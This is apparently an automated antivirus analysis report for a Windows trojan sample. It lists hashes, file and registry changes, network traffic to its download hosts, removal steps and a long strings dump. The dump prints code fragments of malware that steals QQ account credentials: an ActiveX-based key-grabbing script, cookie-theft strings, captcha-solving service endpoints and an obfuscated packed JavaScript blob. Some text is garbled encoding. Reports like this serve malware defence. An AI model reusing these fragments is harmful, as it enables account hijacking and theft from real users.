Gen.Variant.Mikey.14705_6dce8de985 – Adaware

Gen:Variant.Mikey.14705 (B) (Emsisoft), Gen:Variant.Mikey.14705 (AdAware), Trojan.Win32.FlyStudio.FD, Trojan.Win32.Swrort.3.FD, GenericEmailWorm.YR, TrojanFlyStudio.YR (Lavasoft MAS)Behaviour: Trojan, Worm, EmailWorm

The description has been automatically generated by Lavasoft Malware Analysis System and it may contain incomplete or inaccurate information.

Summary

MD5: 6dce8de985eb870962917e02c19e02be

SHA1: 8f1438ebbe94b98944a800d1e0b0f9c41c2edbef

SHA256: 1d0d8f3588b7774bd8cae76cfe5923f2e8264e360838cb30919da772d0035546

SSDeep: 49152:FBlbGssFNEO4vEte42TQJB4uKx OmojMk:DtGLN4EtJJB4uKB

Size: 2251264 bytes

File type: EXE

Platform: WIN32

Entropy: Packed

PEID: UPolyXv05_v6

Company: no certificate found

Created at: 2015-06-23 15:10:23

Analyzed on: WindowsXP SP3 32-bit

Summary: Trojan. A program that appears to do one thing but actually does another (a.k.a. Trojan Horse).

Dynamic Analysis

Payload

Behaviour	Description
EmailWorm	Worm can send e-mails.

Process activity

The Trojan creates the following process(es):No processes have been created.The Trojan injects its code into the following process(es):

%original file name%.exe:812

Mutexes

The following mutexes were created/opened:No objects were found.

File activity

The process %original file name%.exe:812 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

C:\gzip.dll (30 bytes)

Registry activity

The process %original file name%.exe:812 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "FD FB C7 D3 94 AC 36 27 CF A4 77 27 BC 87 57 3E"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Multimedia\DrawDib]
"vga.drv 1916x902x32(BGR 0)" = "31,31,31,31"

Dropped PE files

MD5	File path
8b3591965f623b219c0c528153746cab	c:\gzip.dll

HOSTS file anomalies

No changes have been detected.

Rootkit activity

No anomalies have been detected.

Propagation

Removals

Remove it with Ad-Aware

Click (here) to download and install Ad-Aware Free Antivirus.
Update the definition files.
Run a full scan of your computer.

Manual removal*

Terminate malicious process(es) (How to End a Process With the Task Manager):No processes have been created.
Delete the original Trojan file.
Delete or disinfect the following files created/modified by the Trojan:
C:\gzip.dll (30 bytes)
Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
Reboot the computer.

*Manual removal may cause unexpected system behaviour and should be performed at your own risk.

Static Analysis

VersionInfo

No information is available.

PE Sections

Name	Virtual Address	Virtual Size	Raw Size	Entropy	Section MD5
UPX0	4096	2314240	0	0	d41d8cd98f00b204e9800998ecf8427e
UPX1	2318336	1925120	1924096	5.46183	ba763923f0c75391e37367c7c800ff32
.rsrc	4243456	327680	326144	2.96812	4ac2aa8f956bfabcc366987c82fae2f2

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

Network Activity

URLs

URL	IP
hxxp://65770.vhost8.cloudvhost.cn/gx1.txt
hxxp://www.qqydw.com/gx1.txt	122.114.121.8

IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

Traffic

GET /gx1.txt HTTP/1.1

Accept: */*

User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Host: VVV.qqydw.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Date: Wed, 08 Jul 2015 02:21:12 GMT

Server: Apache

Last-Modified: Tue, 07 Jul 2015 07:44:54 GMT

ETag: "3204b9-2890-51a4432af4980"

Accept-Ranges: bytes

Content-Length: 10384

Keep-Alive: timeout=5, max=100

Connection: Keep-Alive

Content-Type: text/plain; charset=UTF-8

QQ.............[1:8.62|hXXp://qyddl.oss-cn-qingdao.aliyuncs.com/QQÃ§%A9ÂºÃ©â€”Â´Ã¨Â®Â¿Ã¥Â®Â¢Ã¦ÂÂÃ¥Ââ€“Ã¥â„¢Â¨.rar]..QQ.............[2:8.72|hXXp://qyddl.oss-cn-qingdao.aliyuncs.com/QQÃ¨Âµ%84Ã¦â€“â„¢Ã¦Å¸Â¥Ã¨Â¯Â¢Ã¥â„¢Â¨.rar]..QQ..................(......).[4:7.8|hXXp://qyddl.oss-cn-qingdao.aliyuncs.com/QQÃ§â€ºÂ´Ã¦Å½%A5Ã¥Å Â Ã¥Â¥Â½Ã¥Ââ€¹Ã¨Â¿â€¡Ã¦Â»Â¤.rar].....................[6:1.0|hXXp://pan.baidu.com/s/1o6wX5xw]......QQ.........[7:1.3|http://pan.baidu.com/s/1o6wX5xw]..QQ..................(......).[8:7.8|http://qyddl.oss-cn-qingdao.aliyuncs.com/QQÃ§â€ºÂ´Ã¦Å½Â¥Ã¥Å Â Ã¥%A5Â½Ã¥Ââ€¹Ã¨Â¿â€¡Ã¦Â»Â¤.exe]..QQ.................[9:1.1|http://pan.baidu.com/s/1o6wX5xw]..QQ.............[10:3.2|hXXp://qyddl.oss-cn-qingdao.aliyuncs.com/QQÃ§Â¾Â¤Ã¦Ë†ÂÃ¥â€˜ËœÃ¦ÂÂÃ¥Ââ€“%E5â„¢Â¨.exe]..QQ.................[11:1.6|hXXp://pan.baidu.com/s/1o6wX5xw]..QQ.................[31:7.7|hXXp://qyddl.oss-cn-qingdao.aliyuncs.com/Ã§Â²Â¾Ã¥â€¡â€ QQÃ¥ÂÂ·Ã§Â ÂÃ©â€¡â€¡Ã©â€ºâ€ Ã¤Â¸â€œ%E5Â®Â¶.exe]..QQ................QQ.........[13:1.2|hXXp://VVV.qqydw.com]......QQ.............[14:2.0|hXXp://pan.baidu.com/s/1o6wX5xw]..QQ...............[15:2.1|hXXp://pan.baidu.com/s/1o6wX5xw]..QQ.................[16:3.0|hXXp://pan.baidu.com/s/1o6wX5xw]..QQ.................[17:3.0|hXXp://pan.baidu.com/s/1o6wX5xw]..QQ.................[18:1.5|http://VVV.qqydw.com]..QQ.................[19:1.2|hXXp://VVV.qqydw.com]..QQ.................[20:1.1|hXXp://VVV.qqydw.com]..QQ.................

<<< skipped >>>

GET /gx1.txt HTTP/1.1

Accept: */*

User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Host: VVV.qqydw.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Date: Wed, 08 Jul 2015 02:21:12 GMT

Server: Apache

Last-Modified: Tue, 07 Jul 2015 07:44:54 GMT

ETag: "3204b9-2890-51a4432af4980"

Accept-Ranges: bytes

Content-Length: 10384

Keep-Alive: timeout=5, max=100

Connection: Keep-Alive

Content-Type: text/plain; charset=UTF-8

<<< skipped >>>

Map

The Trojan connects to the servers at the folowing location(s):

Strings from Dumps

%original file name%.exe_812:

`.rsrc

t%SVh

t$(SSh

~%UVW

u$SShe

atl.dll

wininet.dll

FastVerCode.dll

UUWiseHelper.dll

dc.dll

gdiplus.dll

ole32.dll

gzip.dll

shlwapi.dll

Kernel32.dll

ADVAPI32.DLL

secur32.dll

advapi32.dll

shell32.dll

kernel32.dll

Rasapi32.dll

user32.dll

Psapi.dll

GdiPlus.dll

ntdll.dll

GetProcessHeap

ShellExecuteA

uu_loginA

GdiplusShutdown

CreateIoCompletionPort

ReportError

uu_reportError

EnumChildWindows

GetProcessHeaps

{B6F7542F-B8FE-46a8-9605-98856A687097}

{E5000198-4471-40e2-92BC-D0BA075BDBB2}

.idata

.edata

P.vmp0

`.vmp1

.reloc

P.rsrc

version.dll

1e.ro4A

oleaut32.dll

H0.gW

comctl32.dll

gdi32.dll

d.jF/"

r#'%C

6.Xdp

g|$^.Cn

>.bM8

>Z.Ye

w4R`$p%s*

f.zo~L^

wsock32.dll

Ã‹.L@

l.sQ{

c-t{.FF

b#I".wM

e.ENZ

xip.tu

@>.vO

%FX2Fsi

qKT.jLka

3.LD7

G,.gd

<.cff>

&8.XMj

$~O.Ba

)].Wd

/_{M%U

Q%s6|

lVfeVg

!%uO

mh.ud

m%Csn%

kq84.QaI

)f%fg

.SuDYw

K)`p.frC

*%s!%

aR.dDb&

.xk 4g

RegCloseKey

)%S{.

'U}.Ue

l%S(8x$!(

1L%UJ

.vtbw

.iA5N

yyhKa%S

d.Zd=#R

x0r%F{

.IPi)

Vj.jH

>M%X9

/8[

bc.lTk

ks_GetMsg

kssPlugin.dll

tole32.dll

SSOAxCtrlForPTLogin.SSOForPTLogin2

hXXp://xui.ptlogin2.qq.com/cgi-bin/qlogin

document.body.innerHTML=GetuinKey();

function GetuinKey(){var text="";var q_hummerQtrl=null;var g_vOptData=null;if(window.ActiveXObject){try{q_hummerQtrl=new ActiveXObject("SSOAxCtrlForPTLogin.SSOForPTLogin2");var A=q_hummerQtrl.CreateTXSSOData();q_hummerQtrl.InitSSOFPTCtrl(0,A);g_vOptData=q_hummerQtrl.CreateTXSSOData();var a=q_hummerQtrl.DoOperation(1,g_vOptData);var V=a.GetArray("PTALIST");var f=V.GetSize();var H=$("list_uin");for(var g=0;g

&keyindex=9&pt_aid=549000912&u1=http://qzs.qq.com/qzone/v5/loginsucc.html?para=izone

&clientkey=

hXXp://ptlogin2.qq.com/jump?clientuin=

skey=

; skey=

skey=@

cookies.txt

hXXp://user.qzone.qq.com/

user.qzone.qq.com

hXXp://user.qzone.qq.com/

%Program Files%\Internet Explorer\iexplore.exe

domain=qq.com

hXXp://

Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\Cookies

\*.txt

qq.com

; domain=.qq.com

.rsrc

%S4WD

hg%fpM

S.Ac9SR

0.I%3s

,wAe.kI

aiUy'4xu

%c*@j

.eH'y

{&%U)

lj%4U

xe%CNs

9F.cLe

hJK.ZH

O.qt0

KERNEL32.DLL

COMCTL32.dll

GDI32.dll

MSIMG32.dll

MSVCRT.dll

MSVFW32.dll

USER32.dll

SkinH_EL.dll

\LZConfig.ini

\FastVerCode.dll

.text

`.rdata

@.data

@.reloc

NETAPI32.dll

MFC42.DLL

KERNEL32.dll

SHLWAPI.dll

WININET.dll

.PAVCObject@@

.PAVCException@@

.PAVCFileException@@

.PAVCInternetException@@

Content-Disposition: form-data; name="key"

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; MALN)

POST /api.php?mod=yzm&act=state HTTP/1.1

/api.php?mod=yzm&act=state

LZConfig.ini

User-Agent: Mozilla/5.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/5.0)

HTTP/1.1

/api.php?mod=yzm&act=add

POST /api.php?mod=yzmm&act=result_new HTTP/1.1

/api.php?mod=yzmm&act=result_new

POST /api.php?mod=yzm&act=point HTTP/1.1

/api.php?mod=yzm&act=point

POST /api.php?mod=yzm&act=register HTTP/1.1

/api.php?mod=yzm&act=register

eee.hyslt.com

POST /api.php?mod=dmuser&act=yzm_error HTTP/1.1

/api.php?mod=dmuser&act=yzm_error

.hyslt.com

XXXXXX

hXXp://ip.qq.com/

POST /api.php?mod=yzm&act=server HTTP/1.1

/api.php?mod=yzm&act=server

\UUExtConfig.ini

CodeType=0\UUWiseHelper.dll

SSSSh

ByScreen.JPG

operator

GetProcessWindowStation

E:\work\UUWiseHelper

\UUWiseHelper.pdb

RegOpenKeyExW

ADVAPI32.dll

SHELL32.dll

OLEAUT32.dll

urlmon.dll

dbghelp.dll

IPHLPAPI.DLL

WS2_32.dll

GetCPInfo

UUWiseHelper.DLL

uu_easyRecognizeUrlA

uu_easyRecognizeUrlW

uu_loginW

uu_recognizeByCodeTypeAndUrlA

uu_recognizeByCodeTypeAndUrlW

zcÃ

"0,01070

8Â8J8R8x8

0#0'0-01070;0

=*>0>4>8>

5%6S6

3$3,383\3|3

:-1014,URL

:-19011,

TEAKEY

\dc.dll

WSOCK32.dll

MSVCP60.dll

ReportError_A

VBYB_ReportError

VB_ReportError

debug.ini

ReportError:%s

Error:%s

%s|!|%s

\dms.pdb

%u%u,

dclog.txt

config.ini

port

settimeout:%d

[%d]%s

reg2:%s

checkok:%s %s

check fail:%s %s %s

check:%s %s

getcjfail:%s %s

getcj:%s %s

%s%uout

%s%uin

put img ok:%s

put img fail:%s

put img:%s %s %d

get result ok:%s,%s

get result fail:%s

get result:%s

notifyfail ok:%s

%s\%d-%s.png

notifyfail fail:%s,%s

notifyfail:%s

getimgok:%s,%s

getimg:%s

getinfo fail:%s

getinfo:%s,%s

setresult:%s,%s

HTTP/1.1 200 OK

recv:%d

send:%d

GET /ip.txt HTTP/1.1

Host: %s

User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:6.0.2) Gecko/20100101 Firefox/6.0.2

select:%d

ioctlsocket:%d

socket:%d

api.qqchaoren.net

14.17.65.24

14.17.65.23

dama2.qqchaoren.net

dama1.qqchaoren.net

connect total:%s %d

:%s %d

connect discard:%s %d

[d-d-d d:d:d](u)

recv timeout:

recvfail:%d

server close:%d

recv:%d

send:%d

sendfail:%d

connect timeout:

connectok:%s %hu

127.0.0.1

1.1.3

eKC:\Windows\qqydw.ini

=798222986

=hXXp://VVV.qqydw.com

=hXXp://qqydw.com/sale.php?uid=5

=hXXp://qqydw.oss-cn-beijing.aliyuncs.com/QQÃ§Â©ÂºÃ©â€”Â´Ã¥â€ºÂ¾Ã§â€°â€¡Ã¤Â¸Å Ã¤Â¼Â Ã¥Â¤Â§Ã¥Â¸Ë†Ã£â‚¬ÂÃ¦â€°â€¹Ã¦Å“ÂºÃ§â€°Ë†Ã£â‚¬â€˜.exe

\gzip.dll

`.data

gzip.pdb

_u%SV

BFeUQy48sgDIgituHpLLjZpSFM99LRy5cgyfc2jZnBPXfs2bXCuDTPyRecN0KucEwKf1heFA4bVrg3yT45lkse/D0MebGxED/eMEmaLRA8jCQUC4a0vSDsfGFLgvYUnJhRssT6D8qhIBKCq3tm8nsux0QGJtS1vryWVq4x8uuKzXBfLxR5RnyAwimqrkz1IrVbmIueIPTNgKJUNuobkC/KDzpvVplDMOQLYlRDgXq1l/fPpgBzn8vM8TN698ao9rzXQh6zwhXnVKlqzm5vYf3ZsqTCx5RsuvlMWBPTpGbJ/DoKy6OVNdtPFVge1NrRTrE qD74RUBIw9KBQNBohq2pv69QekwgnzKQgP7uNePJysjqQc4o2cFA2KUJuMERdZNw9RSn8acmliXlb6wYGsg6zBlbGi86RUwq1OXi3AUan/iCU25icEkXwzFYR6aq07ddbdvfWztzH5SN76DgYF7s0I3PmEmzOYXKnl51lZTQoNGyrw8/GMAZqaS8HpyZMV9JacNBGVLdh1GBHcpJTdAWjHINn9F1Tkc0GFZaTTd4bBAzqqa8aIsUlVxhuKRWXwl8NTEQUtQCCJ1FpKv3p/2pTSxU28/SvEuk9zen0Jdqri3tOvI52dbF/8uhyHJPeVVPayPCtruRosJQ5zSiZbKALSshbqgClfDPBmXmLZMp5kDw2KXKiXratnmGZxPhpeAJxI4Makq210KZYcjhsH/7y2Zhw7BjqnmuTK9r53RppqCV4e0IdnraQz0xGlrpx6a2rcuUWm2KUbsS3t7o2GKZVdA3igPWDwU7m4ES6Tbm 6QqyxZ6zCuMlN7Z/kQN8pQrZxuHZOS7f3XQdG7c4aXWe0bZKaul2FvwJ8vN7r9vYS/I1pR5O6AjcyVqALs6IhNpqeAAGfB/8CM6zKz4mOafk2MHkcjXfNTo7g3uiOW3sgwS83oPWyUIEgbrA98NQ7rx19QqCduWyUD8uFMg/rmMJdcEivyNTtL 1MSE6c62XRuwnDsMIaJbMadQO28mnWQbkfDqYAqzLe/UMIclcevUsk ljHGsVNfgs/AJIul9Iup4SI9spHiXdTwiJEfYda9tidiYMJDCbSElQ01JIqoNyiQM6JhKbADW NLSJAwGIxF9JHRBTase IVZ8qtfhjfUGDDHp/64/1JnSKMgmmBG0GZQ93LqW3S0o2dtEjIIbrKeYN0nVAOD98TmsaaPXOIaLzsxI5eTQXoWmBvCoUod18iWA9cm8X6jtp744OxmkBCIzyGd/8/fVnuXtdDn5la9Heve8TbIx40H/doz26UEJkoi8Ee A0lyKMZzvf52tf0haJrjYLf6VFakw4d5/nNuqCiwkuBTxV43FM0jfTM2IyASsw1M6LT3RuE Dgdw6GJQav3PIcaX2FIP 3LMmyKs JssHRtEMYxbsWK ENrpWbtndIMjAqDCq65HlMS968j/w kdglMRCUnigeuKl208CkIBuGyFllo2KnZOmfyPjqrIeC9pzLSFQCaCBGtEzZ7d63qgkFPyNPtIgqNYwcHprANS3 ZWhQAzOWoVQhEwTGnd27OAu6VIzf DNK3bhZS2aQR/iMIUxzzaSniTaAN7fjOU/qMH2zNrPbFkUFbv9ieR6inLg/kQgj SZ/rnMOncErz3u1r/5O8LucOo6NW2b1orPbIBGSeBa0ctOUQpjRtoe6TLGGb9LXULJmIqM=

1.edb

hXXp://VVV.qqydw.com/gx1.txt

:hXXp://VVV.eyuyan.cc

cookies-gtk.txt

JPG,GIF,PNG,JPEG)|*.*

0000020000

0000100000

474946383961

474946383761

0000100

00000100

0000020001002020

52494646

{557CF400-1A04-11D3-9A73-0000F81EF32E}

{557CF401-1A04-11D3-9A73-0000F81EF32E}

{557CF402-1A04-11D3-9A73-0000F81EF32E}

{557CF405-1A04-11D3-9A73-0000F81EF32E}

{557CF406-1A04-11D3-9A73-0000F81EF32E}

hXXp://VVV.jsdati.com

hXXp://VVV.qqchaoren.net

hXXp://VVV.uuwise.com

Hs("{pass}","{uin}","{code}")

{pass}

eval(function(p,a,c,k,e,r){e=function(c){return(c35?String.fromCharCode(c 29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w '};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b' e(c) '\\b','g'),k[c]);return p}('Y 1O=X(){X r(){W.n=1d;W.e=0;W.4V=W.3h=W.4k=W.q=W.p=W.d=1d}X B(r,z,I){1d!=r&&("50"==2W r?W.3i(r,z,I):1d==z&&"3T"!=2W r?W.1S(r,1B):W.1S(r,z))}X z(){Z 1u B(1d)}X A(r){Y V=z();V.2c(r);Z V}X D(r){Y z=1,I;0!=(I=r>>>16)&&(r=I,z =16);0!=(I=r>>8)&&(r=I,z =8);0!=(I=r>>4)&&(r=I,z =4);0!=(I=r>>2)&&(r=I,z =2);0!=r>>1&&(z =1);Z z}X C(r){W.m=r}X E(r){W.m=r;W.2a=r.2V();W.2f=W.2a&1N;W.2U=W.2a>>15;W.2T=(1>8&1f;L[G ]^=r>>16&1f;L[G ]^=r>>24&1f;G>=U&&(G-=U)}X O(){}X N(){W.j=W.i=0;W.S=[]}r.1b.2R=X(r){Z r.2Q(W.e,W.n)};r.1b.2P=X(r,z){1d!=r&&1d!=z&&0>3;1a(z>=15;0>15,G=z*R F*E,R=E*R ((G&1N)>>30) (G>>>15) z*F (D>>>30);A[B ]=R&2L}Z D};H=30;B.1b.1e=H;B.1b.1s=(1=K; K)S[H ]=K;H=3n;19(K=10;36>K; K)S[H ]=K;H=3D;19(K=10;36>K; K)S[H ]=K;C.1b.2e=X(r){Z 0>r.s||0r.s&&0>15)*W.2f&W.2T)=r.1o;)r[A]-=r.1o,r[ A] }r.1q();r.2b(W.m.t,r);0r?-1:0;0r?W[0]=r 1o:W.t=0};B.1b.1S=X(r,z){Y A;1a(16==z)A=4;1h 1a(8==z)A=3;1h 1a(1B==z)A=8;1h 1a(2==z)A=1;1h 1a(32==z)A=5;1h 1a(4==z)A=2;1h{W.3I(r,z);Z}W.s=W.t=0;19(Y D=r.1c,C=!1,E=0;0J?"-"==r.1l(D)&&(C=!0):(C=!1,0==E?W[W.t ]=J:E A>W.1e?(W[W.t-1]|=(J&(1>W.1e-E):W[W.t-1]|=J=W.1e&&(E-=W.1e))}8==A&&0!=(r[0]&2I)&&(W.s=-1,0>B|E,E=(W[F]&D)=W.t)z.t=0;1h{Y B=r%W.1e,D=W.1e-B,C=(1>B;19(Y E=A 1;E>B;0>=W.1e;1a(r.t>=W.1e;B =W.s}1h{19(B =W.s;A>=W.1e;B-=r.s}z.s=0>B?-1:0;-1>B?z[A ]=W.1o B:0=z.1o&&(r[A z.t]-=z.1o,r[A z.t 1]=1)}0=E.t)){Y F=W.1w();1a(F.t>W.29:0),K=W.2K/H,H=(1J&&B.1x.1m(C,C)}}}};B.1b.2V=X(){1a(1>W.t)Z 0;Y r=W[0];1a(0==(r&1))Z 0;Y z=r&3,z=z*(2-(r&15)*z)&15,z=z*(2-(r&1f)*z)&1f,z=z*(2-((r&1G)*z&1G))&1G,z=z*(2-r*z%W.1o)%W.1o;Z 0r)Z B.1U;Y C=z(),E=z(),F=A.2e(W),G=D(r)-1;19(F.1I(C);0W.s)Z"-" W.1Z().1F(r);1a(16==r)r=4;1h 1a(8==r)r=3;1h 1a(2==r)r=1;1h 1a(32==r)r=5;1h 1a(4==r)r=2;1h Z W.3o(r);Y z=(1>E)&&(B=!0,C="2A".1l(A));0>(E =W.1e-r)):(A=W[D]>>(E-=r)&z,0>=E&&(E =W.1e,--D)),0W.s?W.1Z():W};B.1b.1H=X(r){Y z=W.s-r.s;1a(0!=z)Z z;Y A=W.t,z=A-r.t;1a(0!=z)Z z;19(;0=W.t?0:W.1e*(W.t-1) D(W[W.t-1]^W.s&W.1s)};B.1b.2J=X(r){Y A=z();W.1w().1Q(r,1d,A);0>W.s&&0r||z.2G()?1u C(z):1u E(z);Z W.2E(r,A)};B.1x=A(0);B.1U=A(1);Y T,L,G;1a(1d==L){L=[];19(G=0;G>>8,L[G ]=H&1f;G=0;F()}O.1b.2M=X(r){Y z;19(z=0;zz; z)W.S[z]=z;19(z=A=0;1B>z; z)A=A W.S[z] r[z%r.1c]&1f,B=W.S[z],W.S[z]=W.S[A],W.S[A]=B;W.j=W.i=0};N.1b.2x=X(){Y r;W.i=W.i 1&1f;W.j=W.j W.S[W.i]&1f;r=W.S[W.i];W.S[W.i]=W.S[W.j];W.S[W.j]=r;Z W.S[r W.S[W.i]&1f]};Y U=1B;Z{2r:X(z,A,B){A="41";B="3";Y C=1u r;C.2P(A,B);Z C.26(z)}}}(),s="",a=0,g=[],x=[],y=0,u=0,m=[],t=[],n=!0;X e(){Z 1p.35(1r*1p.2z())}X j(r,B,z){1a(!z||4>>0}X b(r,B,z){r[B 3]=z>>0&1f;r[B 2]=z>>8&1f;r[B 1]=z>>16&1f;r[B 0]=z>>24&1f}X w(r){1a(!r)Z"";19(Y B="",z=0;zz;z )x[z]=0;19(z=1;2>=z;)8>a&&(g[a ]=e()&1f,z ),8==a&&p();19(z=0;0a&&(g[a ]=r[z ],B--),8==a&&p();19(z=1;7>=z;)8>a&&(g[a ]=0,z ),8==a&&p();Z m}X q(r){Y B=0,z=1t(8),B=r.1c;t=r;1a(0!=B%8||16>B)Z 1d;x=l(r);a=x[0]&7;B=B-a-10;1a(0>B)Z 1d;19(Y A=0;A=A;)1a(8>a&&(a ,A ),8==a&&(z=r,!f()))Z 1d;19(A=0;0!=B;)1a(8>a&&(m[A]=(z[u a]^x[a])&1f,A ,B--,a ),8==a&&(z=r,u=y-8,!f()))Z 1d;19(A=1;8>A;A ){1a(8>a){1a(0!=(z[u a]^x[a]))Z 1d;a }1a(8==a&&(z=r,u=y,!f()))Z 1d}Z m}X p(){19(Y r=0;8>r;r )g[r]=n?g[r]^x[r]:g[r]^m[u r];19(Y B=k(g),r=0;8>r;r )m[y r]=B[r]^x[r],x[r]=g[r];u=y;y =8;a=0;n=!1}X k(r){Y B=16,z=j(r,0,4);r=j(r,4,4);19(Y A=j(s,0,4),D=j(s,4,4),C=j(s,8,4),E=j(s,12,4),F=0;0>>0,z =(r>>5) D,z=(z&1r)>>>0,r =(z>>5) E,r=(r&1r)>>>0;B=1t(8);b(B,0,z);b(B,4,r);Z B}X l(r){Y B=16,z=j(r,0,4);r=j(r,4,4);19(Y A=j(s,0,4),D=j(s,4,4),C=j(s,8,4),E=j(s,12,4),F=3y;0>>5) E,r=(r&1r)>>>0,z-=(r>>5) D,z=(z&1r)>>>0,F-=2o,F=(F&1r)>>>0;B=1t(8);b(B,0,z);b(B,4,r);Z B}X f(){19(Y r=0;8>r;r )x[r]^=t[y r];x=l(x);y =8;a=0;Z!0}X o(r,B){Y z=[];1a(B)19(Y A=0;A>18)),E.1y(z.1l(C>>12&1J)),E.1y(z.1l(C>>6&1J)),E.1y(z.1l(C&1J));3e(r.1c-F){2B 1:C=A(r,D)>18) z.1l(C>>12&1J) B B);3g;2B 2:C=A(r,D)>18) z.1l(C>>12&1J) z.1l(C>>6&1J) B)}Z E.2C("")}},2D=1,3j="",1n=8,2F=32;X 1W(r){Z 2H(r)}X 2H(r){Z 2l(1E(1K(r),r.1c*1n))}X 3q(r){Z 2d(1E(1K(r),r.1c*1n))}X 3s(r,B){Z 2l(1R(r,B))}X 3u(r,B){Z 3v(1R(r,B))}X 3w(r,B){Z 2d(1R(r,B))}X 1E(r,B){r[B>>5]|=2I>>9C;C )A[C]=z[C]^4T,D[C]=z[C]^4U;z=1E(A.2Y(1K(B)),4W B.1c*1n);Z 1E(D.2Y(z),4X)}X 1v(r,B){Y z=(r&1G) (B&1G);Z(r>>16) (B>>16) (z>>16)>>32-B}X 1K(r){19(Y B=[],z=(1>5]|=(r.1C(A/1n)&z)>5]>>>A2&z);Z B}X 2l(r){19(Y B=2D?"4Y":"4Z",z="",A=0;A>2]>>A%4*8 4&15) B.1l(r[A>>2]>>A%4*8&15);Z z}X 2Z(r){19(Y B=[],z=0;zD.1c;)D="0" D;1D.2g(r);B=1D.2p(D A 1D.28(B) z C);1D.2g("");Z B.57(/[\\/\\ =]/g,X(r){Z{"/":"-"," ":"*","=":"58"}[r]})}X 4Q(r,B,z){Z 33(r,B,z,!1)};',62,320,'||||||||||||||||||||||||||||||||||||||||||||||||||||||||||this|function|var|return||||||||||for|if|prototype|length|null|DB|255|md5_gg|else|md5_hh|md5_ff|md5_ii|charAt|subTo|chrsz|DV|Math|clamp|4294967295|DM|Array|new|safe_add|abs|ZERO|push|am|reduce|256|charCodeAt|TEA|core_md5|toString|65535|compareTo|copyTo|63|str2binl|dlShiftTo|md5_cmn|32767|RSA|floor|divRemTo|core_hmac_md5|fromString|parseInt|ONE|mulTo|md5|multiplyTo|sqrTo|negate||||||squareTo|encrypt|F1|strToBytes|F2|mp|drShiftTo|fromInt|binl2str|convert|mpl|initkey|String|fromCharCode|substr|lShiftTo|binl2hex|revert|rShiftTo|2654435769|enAsBase64|encode|rsa_encrypt|PADCHAR|ALPHA|getbyte|throw|arguments|next|init|random|0123456789abcdefghijklmnopqrstuvwxyz|case|join|hexcase|exp|mode|isEven|hex_md5|128|mod|FV|1073741823|nextBytes|bitLength|uv_alert|setPublic|modPowInt|doPublic|mt2|um|mph|invDigit|typeof|bit_rol|concat|hexchar2bin||temp||getEncryption|Exception|round||SyntaxError|Not|enough|Message|min|too|pow|switch|long|break|dmq1|fromNumber|b64pad|Date|Invalid|248|97|toRadix|public|str_md5|key|hex_hmac_md5|65536|b64_hmac_md5|binl2b64|str_hmac_md5|64|3816266640|1732584193|271733879|1732584194|271733878|65|680876936|389564586|getTime|606105819|fromRadix|1044525330|176418897|1200080426|1473231341|45705983|1770035416|1958414417|42063|1990404162|1804603682|string|40341101|1502002290|1236535329|decrypt|165796510|1069501632|643717713|F20CE00BAE5361F8FA3AE9CEFA495362FF7DA1BA628F64A347F0A8C012BF0B254A30CD92ABFFE7A6EE0DC424CB6166F8819EFA5BCCB20EDFB4AD02E412CCF579B1CA711D55B8B0B3AEB60153D5E0693A2A86F3167D7847A0CB8B00004716A9095D9BADC977CBB804DBDCBA6029A9710869A453F27DFDDF83C016D928B3CBF4C7|373897302|701558691|38016083|660478335|405537848|568446438||1019803690|187363961|1163531501|1444681467|51403784|1735328473|1926607734|bytesToStr|378558|2022574463|1839030562|dmp1|35309556|1530992060|1272893353|155497632|1094730640|681279174|358537222|722521979|76029189|640364487|421815835|530742520|995338651|bytesInStr|198630844|1126891415|1416354905|dataFromStr|57434055|1700485571|1894986606|1051523|2054922799|1873313359|30611744|1560198380|1309151649|145523070|1120210379|718787259|343485551|Hs|max|ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789|909522486|1549556828|coeff|512|640|0123456789ABCDEF|0123456789abcdef|number|eval||INVALID_CHARACTER_ERR|DOM|toUpperCase|000|replace|_|Number'.split('|'),0,{}))

@1970-01-01 08:00:00

\IP.qyd

hXXp://VVV.baidu.com/s?ie=utf-8&f=8&rsv_bp=1&rsv_idx=1&tn=baidu&wd=ipÃ¦Å¸Â¥Ã¨Â¯Â¢

hXXp://VVV.ip138.com/ips138.asp

hXXp://r.qzone.qq.com/cgi-bin/user/qzone_cgi_msg_getcnt2?uin=

Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/29.0.1547.59 QQ/6.4.12593.201 Safari/537.36

Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.122 Safari/537.36

hXXp://check.ptlogin2.qzone.com/check?regmaster=

VVV.qqydw.com

hXXp://captcha.qq.com/cap_union_show?captype=3&lang=2052&aid=549000929&uin=

hXXp://captcha.qq.com/getimgbysig?aid=549000929&uin=

&0.7863333761803015

hXXp://captcha.qq.com/cap_union_verify?aid=549000929&uin=

